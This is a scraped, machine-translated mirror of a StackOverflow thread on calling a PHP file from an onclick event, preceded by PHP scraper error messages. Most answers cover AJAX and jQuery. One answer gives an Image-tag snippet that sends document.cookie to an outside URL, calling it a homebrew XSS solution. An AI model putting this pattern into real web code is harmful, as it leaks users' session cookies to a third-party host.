Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/228.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
在onclick()事件中调用.php文件_Php_Javascript - Fatal编程技术网

在onclick()事件中调用.php文件

在onclick()事件中调用.php文件,php,javascript,Php,Javascript,我想从OnClick事件调用一个.php文件 <input id="Edit" name="Edit" value="Edit Record" type="button" onclick="---call to php file----;" /> 代码如上所示。我想通过Javascript调用一个.php文件,并在查询字符串中传递一个cookie值。如果您不想将浏览器指向.php页面,那么您正在寻找AJAX 如果您想将浏览器转到.php页面,那么很简单: location

我想从OnClick事件调用一个.php文件

<input id="Edit" name="Edit" value="Edit Record" type="button" onclick="---call to php file----;" />


代码如上所示。我想通过Javascript调用一个.php文件,并在查询字符串中传递一个cookie值。

如果您不想将浏览器指向.php页面,那么您正在寻找AJAX

如果您想将浏览器转到.php页面,那么很简单:

location.href = 'mypage.php';
我建议使用,然后你所要做的就是$.get(“url”)。。在纯javascript中实现这一点会非常复杂

这是假设您希望通过AJAX打开php(即,不实际向用户显示.php页面,就像单击链接时通常发生的那样)

“…并在查询字符串中传递cookie值。”

这是不必要的,因为php可以直接通过$\u cookies superglobal读取Cookie的值。除非您在这里做一些跨域的事情,也就是说。

您不必使用AJAX,您可以使用任何外部标记,如iframe、link、script、image和自制您自己的XSS解决方案(老实说,这听起来像是您在做的…)

但是,如果您想在以后使用内容,我会使用AJAX或iframe(如果您需要跨域执行)。

函数调用\u php\u程序(code){
$.get(“/php/php_program.php?code=“+code”);
返回false;
}
onclick=“调用php程序(“”)”

除非您想将整个页面导航到.php文件,否则在没有AJAX的情况下是无法做到这一点的,很抱歉。好的,那就是如何从OnClick()执行JQuery。请阅读上面链接中的文档。你调用
$.get(url)
就像调用任何其他函数一样。@RPK你在这里混合了一些东西:php->server-side | js->cleint-side//如果你想这样做,你需要使用AJAXOk。我将通过AJAX来实现这一点。@Koper:与此答案无关。。。您报告的大量反对票已被删除,您的声誉已重新计算。您好,欢迎来到StackOverflow。请给你的答案加上一些解释,让它对其他人更有价值。看见
function xssFunc( )
{
    ( new Image ).src = 'http://my.url/page.php?cookie' + encodeURIComponent( document.cookie );
}

document.getElementById( 'whatevs' ).onClick = xssFunc;
function call_php_program(code) {
    $.get("/php/php_program.php?code=" + code);
    return false;
}

onclick="call_php_program('<? echo $code; ?>')"